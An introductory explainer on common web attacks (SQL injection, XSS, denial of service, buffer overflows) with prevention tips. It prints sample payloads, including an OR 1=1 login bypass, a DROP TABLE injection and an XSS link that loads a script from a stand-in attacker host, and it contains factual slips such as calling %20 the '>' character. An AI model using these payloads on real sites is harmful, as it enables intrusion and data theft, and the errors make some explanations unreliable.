An SQL Injection attack occurs when Structured Query Language (SQL, pronounced "sequel") code is put into an field for entry - say, a password textbox - that breaks the code and allows access to data the user otherwise could not access. SQL Injection attacks first began around 1998, and to this day remains one of the most common attacks on unprotected websites.
SQL Injection works mainly by exploiting specific quirks of programming languages and bad coding practices. Say, for instance, we have two textboxes - one for a username and one for a password. The code to find a user in a database looks like this:
SELECT * FROM users WHERE user = '' AND pass = ''
Suppose that a hacker wanted to take advantage of this system. In programming, there are certain characters called escape characters. In this case, the single quotation mark (') stands as the escape character. Other escape characters are regular quoatation marks ("), backslashes (\), and language-specific comment characters. These characters or groups of characters often act as deliniation points for certain pieces of data, such as strings and comments. In our case, the single-quotation mark deliniates where a string should be. A prospective hacker could take advantage of this quirk by adding another single quotation mark into the input for username.
SELECT * FROM users WHERE user = ''' AND pass = ''
The program now doesn't know what to do with the extra text beyond user = ''. To it, that text is wholly unrelated. So the program just crashes.
So the hacker just crashed the site - so what? From here, the hacker now has free reign to add whatever they want after that extra single-quotation mark. A common thing to see inputted is ' OR 1=1 --. Let's break that down. The single quotation mark is there as an escape from the original single-quotation. The OR is a boolean statement. It essnentially divides the statement into two, telling the program to grant access if user = some OR 1=1. The 1=1 is a guarenteed true statement. In programming, the boolean OR statement only requires one of its sides to be true for the statement to return true. The two dashes are a common comment statement in SQL, and so we comment out any code following our injected statement to ensure the program does not crash. So by inserting this statement, the program thinks that we do have a legal username and password, and lets us in.
SELECT * FROM users WHERE user = '' OR 1=1 --AND pass = ''
Vulnerable websites can have SQL injection attacks have someone go from impersonating users, stealing password, or at worst, deleting entire databases (shown below).
SELECT * FROM users WHERE user = ''; DROP TABLE users;AND pass = ''
Other than changing out comment characters for a specific language, the process behind an SQL injection remains rather uniform for all platforms and sites.
One of the simplest ways of preventing SQL Injection is by "sanitizing" or "preparing" your inputs. If your input prevents people from inputting escape characters at all, then it helps to cut down on what could have been a disasterous attack on our database.
Cross Site Scripting, or XSS, occurs when a hacker takes advantage with vulnerabilities in HTML and web-development languages, such as JavaScript and PHP. In HTML, the central item of use are tags. These tags look like <this>, and can deliniate how text on the screen looks.<b></b> tags make the text bold, <i></i> italicizes the text, etc. One special tag, <script></script>, allows developers to input JavaScript code that runs on a website.
The vulnerability comes, once again, with user inputs. If an input is not properly protected, a user could input HTML tags and have them affect the entire page. Say, for instance, the user inputed an <i> into their input. If not properly protected, the rest of the website would be italicized. Now say someone inputted <script></script>. This means that anything that comes afterwards, the computer will recognize as actual code that it now has to run. This is highly dangerous.
There are two types of XSS attacks: persistent and non-persistent. Persistent attacks are ones that theoretically run all the time - persistently. As long as anyone accesses that webpage, the XSS attack is occuring. Say, for instance, I can input a comment into someone's blog. A malicious post could look a bit like this:
Take a look at this interesting article!<script>steal_data()</script>
That means whenever someone accesses this webpage, their browser comes up to my comment, and then decides to run the function steal_data(). This is what makes persistent attacks the most dangerous XSS attack. While in reality, it's far more complicated than that, the general process is the same.
Non-persistent attacks often require the victim to play some role in being attacked, usually by clicking on a link. These attacks are non-persistent since they can only run once the user has done something to cause the attack. Say we have a website where users can search for items, and that item is searched for in the database and shown in the URL as "http://examplesite.com?q=article". A hacker could then use this vulnerability, searching for article<script%20src=evildatastealingsite.net></script>. (The %20 is the special encoded designation for the > character in URLs. The hacker uses this so that the script doesn't run on their own device.)
Search Term: article<script%20src=evildatastealingsite.net></script>
Returned URL: http://examplesite.com?q=article<script%20src=evildatastealingsite.net></script>
The hacker then sends this link to unsuspecting victims, perhaps using more URL encoded characters to avoid detection.
Hey there, here's an article that can help you learn how to win the lottery: http://examplesite.com?q=article<script%20src=evildatastealingsite.net></script>
Once the user clicks on that link, the computer runs whatever script is on evildatastealingsite.net and then returns that data to the hacker, with the victim not being able to tell, as the URL also takes them to whatever article is linked.
Once again, input sanitation is the biggest help here. By removing or protecting against certain input phrases, XSS attacks are diminished. Other preventative measures may include using escape characters against tags, using special HTML sanitizing schemes, or preventing the use of client-based scripts altogether.
Denial of Service (DoS) attacks consist primarily of a computer or multiple computers essentially overloading a victim computer with too many superfluous requests that blocks out any other request from being responded to. Think of data as people, and the connection to the internet as a hallway. In regular traffic, hallway traffic is relatively smooth: people can walk through with ease. In a DoS attack, imagine a flood of people trying to enter the hallway all at once - suddenly less people who need to go through can't enter, as they are blocked by others, and people can't leave the hallway easily. This slows down the entire system to a halt. There are three categories of DoS attack:
Luckily, due to the commonality of DoS attacks, numerous programs have been written to analyze data inputs to make sure that they are not malicious. Other methods of protection including blocking connections using firewalls and limiting how much data can enter at a time (rate-limiting).
Buffer Overflows take advantage of how data is stored in the memory of computer systems, often by going beyond what is allocated.
These attacks occur when the data inputted goes over the allocated space in the memory for that data, thus "overflowing". Any data that overflows can go on to affect other memory spaces, and affect other data. Take for instance, a bank that stores two variables: One is an ID number and one is the amount of money in a bank account. The ID number is always 8 digits, and the bank account is 4 digits. Both begin empty.
ID Number Space Bank Account Space
0 0 0 0 0 0 0 0 0 0 0 0
Now say that we create a new user, with ID # 12345678 and $1542 in the bank.
ID Number Space Bank Account Space
1 2 3 4 5 6 7 8 1 5 4 2
Assuming that this bank hasn't protected against buffer overflows, let's see what happens when we input 123456780000 as an ID number.
ID Number Space Bank Account Space
1 2 3 4 5 6 7 8 0 0 0 0
Oh dear. The four zeroes of the ID number overflowed the allocated memory space for the bank ID and affected the amount of money in the bank. Now this was an incredibly simplified example, but the gist of it remains the same.
Whether a program is subject to a buffer overflow attack may rely heavily on how it was written. For instance, programs written in C or C++ are actually more susceptible to buffer overflow attacks than languages like Python and Java, due to how their languages deal with memory buffers. The main difference is that C/C++ doesn't explicitly check whether what is being inputted for a memory space actually matches the length of the space allowed. Otherwise, use of memory safety programs and rigorous testing can help prevent a buffer overflow from affecting one's program or site.